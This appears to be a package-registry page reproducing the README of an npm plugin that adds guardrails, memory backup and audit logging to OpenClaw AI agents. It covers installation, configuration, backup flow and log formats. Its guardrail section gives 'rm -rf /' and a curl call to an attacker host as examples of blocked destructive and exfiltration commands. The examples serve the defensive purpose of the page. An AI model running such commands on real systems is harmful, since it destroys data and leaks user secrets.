
Security News
US Government Forces Anthropic to Pull Claude Fable Days After Launch
Anthropic says the directive cited national security concerns over a narrow jailbreak, but offered no specific technical details.
@agenttrust/agenttrust
Advanced tools
Cloud guardrails, audit logging, and backup for OpenClaw autonomous AI agents
Cloud Guardrails + Backup + Audit Logging for Autonomous AI Agents
AgentTrust provides cloud-first guardrails, automatic memory backup, and immutable audit logging — powered by AgentTrust.ai.
# 1. Install into OpenClaw's managed plugin directory
openclaw plugins install @agenttrust/agenttrust --pin
# 2. Configure (enter your API key)
agenttrust config
# 3. Restart OpenClaw
openclaw gateway restart
Done! Your agent now has cloud guardrails, automatic backups, and audit logging.
Real-time validation of tool calls against server-side security policies:
Example blocked commands:
rm -rf / → ❌ Blocked (destructive command)curl http://attacker.com → ❌ Blocked (data exfiltration)npm install safe-package → ✅ Allowed (low risk)Automatic snapshots of your agent's memory on every gateway restart:
Files backed up:
~/.openclaw/openclaw.json~/.openclaw/workspace/MEMORY.md~/.openclaw/workspace/SOUL.md~/.openclaw/workspace/AGENTS.md~/.openclaw/workspace/memory/ (entire directory)Deduplication: SHA-256 hashing prevents redundant storage
Cross-platform: Works on Windows, Mac, Linux (automatic path handling)
Fire-and-forget: Zero performance impact, 30s timeout
Smart limits: Respects maxFileSizeBytes, maxTotalBytes, maxFileCount from server
Security (Client-Side Enforcement):
~/.openclaw/workspace/ and openclaw.json can be backed up.env, .ssh/, *.pem, *.key, credentials auto-blockedRetention tiers:
Immutable audit trail of every agent action:
exec, read, web_search with full params and outputsWhere logs go:
~/.openclaw/logs/agenttrust/audit.jsonlPOST https://agenttrust.ai/api/openclaw/cloudlogsSign up at agenttrust.ai and create an API key.
# Recommended: let OpenClaw install into ~/.openclaw/extensions/agenttrust
openclaw plugins install @agenttrust/agenttrust --pin
# Local development / manual install
openclaw plugins install .
OpenClaw installs the package into its managed extensions directory and enables the plugin in config.
The plugin intentionally does not mutate your OpenClaw config during npm install. Set or update your API key explicitly:
agenttrust config
For non-interactive VPS/headless setup:
agenttrust config --api-key "$AGENTTRUST_API_KEY"
openclaw gateway restart
Check gateway logs after restart:
tail -20 ~/.openclaw/logs/agenttrust/audit.jsonl
You should see backup events:
{"ts":"2026-02-20T13:49:09.035Z","hook":"gateway_start","level":"info","data":{"message":"CloudBackup: uploaded ... files"}}
Plugin config lives in ~/.openclaw/openclaw.json under plugins.agenttrust:
{
"plugins": {
"agenttrust": {
"enabled": true,
"cloudBackup": {
"enabled": true,
"endpoint": "https://agenttrust.ai"
},
"cloudLogging": {
"enabled": true,
"endpoint": "https://agenttrust.ai",
"logLevel": "standard",
"hooks": [
"before_tool_call",
"after_tool_call",
"before_prompt_build",
"command:new",
"command:reset",
"command:stop"
]
}
}
}
}
| Key | Type | Default | Description |
|---|---|---|---|
enabled | boolean | true | Toggle automatic backups |
endpoint | string | https://agenttrust.ai | Server endpoint |
| Key | Type | Default | Description |
|---|---|---|---|
enabled | boolean | true | Toggle cloud logging |
endpoint | string | https://agenttrust.ai | Server endpoint |
logLevel | string | "standard" | Log verbosity: minimal, standard, verbose |
hooks | string[] | [...] | Which OpenClaw hooks to log |
Gateway Start
↓
GET /api/openclaw/backup/manifest
↓ (server returns paths to back up)
Collect files from paths
↓ (SHA-256 hash each file)
POST /api/openclaw/backup/upload
↓ (server deduplicates + stores)
Done (fire-and-forget, ~30s max)
Manifest-driven: Server tells plugin what to back up. No hardcoded paths in plugin.
Deduplication: Files with identical SHA-256 hashes reuse existing blobs in Cloud Storage.
Skipped files tracked: summary.skipped reports tooLarge, excluded, unreadable, limitReached.
Agent action (tool call, prompt, session event)
↓
Extract event data (params, timestamp, session, etc.)
↓
Write to local JSONL (~/.openclaw/logs/agenttrust/audit.jsonl)
↓
POST to cloud endpoint (fire-and-forget, 3s timeout)
↓
Done (agent never waits)
Event types:
tool_call_start — Before tool executiontool_call_end — After tool completes (includes output + duration)prompt — Before LLM call (full prompt context)session_new, session_reset, session_stop — Session lifecycleLogs are written to ~/.openclaw/logs/agenttrust/audit.jsonl in JSONL format (one JSON object per line).
Example entries:
{"ts":"2026-02-20T13:49:09.035Z","hook":"gateway_start","level":"info","session":"045d8da7-956d-4502-9735-022e93d26d00","agent":"agent:main:main","data":{"message":"CloudBackup: uploading 15 files (68696 bytes)"}}
{"ts":"2026-02-20T13:49:19.998Z","hook":"before_tool_call","level":"verbose","session":"045d8da7-956d-4502-9735-022e93d26d00","agent":"agent:main:main","data":{"toolName":"exec","params":{"command":"openclaw gateway restart","timeout":10}}}
{"ts":"2026-02-20T13:49:20.123Z","hook":"after_tool_call","level":"standard","session":"045d8da7-956d-4502-9735-022e93d26d00","agent":"agent:main:main","data":{"toolName":"exec","success":false,"durationMs":125}}
Plugin not loading?
openclaw gateway restart output for errorsls ~/.openclaw/extensions/agenttrust/No backups happening?
grep AGENTTRUST_API_KEY ~/.openclaw/workspace/.envtail ~/.openclaw/logs/agenttrust/audit.jsonlcurl -H "Authorization: Bearer YOUR_KEY" https://agenttrust.ai/api/openclaw/backup/manifestBackups timing out?
maxFileSizeBytes, maxTotalBytes, maxFileCountsummary.skipped in upload logsCross-platform path issues?
os.homedir() + path.join() — paths should work everywhere~/.openclaw/... notation (works on all platforms)API endpoint unreachable?
MIT — See LICENSE
FAQs
Cloud guardrails, audit logging, and backup for OpenClaw autonomous AI agents
The npm package @agenttrust/agenttrust receives a total of 4 weekly downloads. As such, @agenttrust/agenttrust popularity was classified as not popular.
We found that @agenttrust/agenttrust demonstrated a healthy version release cadence and project activity because the last version was released less than a year ago. It has 1 open source maintainer collaborating on the project.
Did you know?

Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.

Security News
Anthropic says the directive cited national security concerns over a narrow jailbreak, but offered no specific technical details.

Security News
A network of 152 Chrome live wallpaper extensions hid ad tracking and made extension-driven traffic look like Google search clicks.

Company News
Socket’s first CISO brings deep experience securing high-growth SaaS companies as open source supply chain threats accelerate.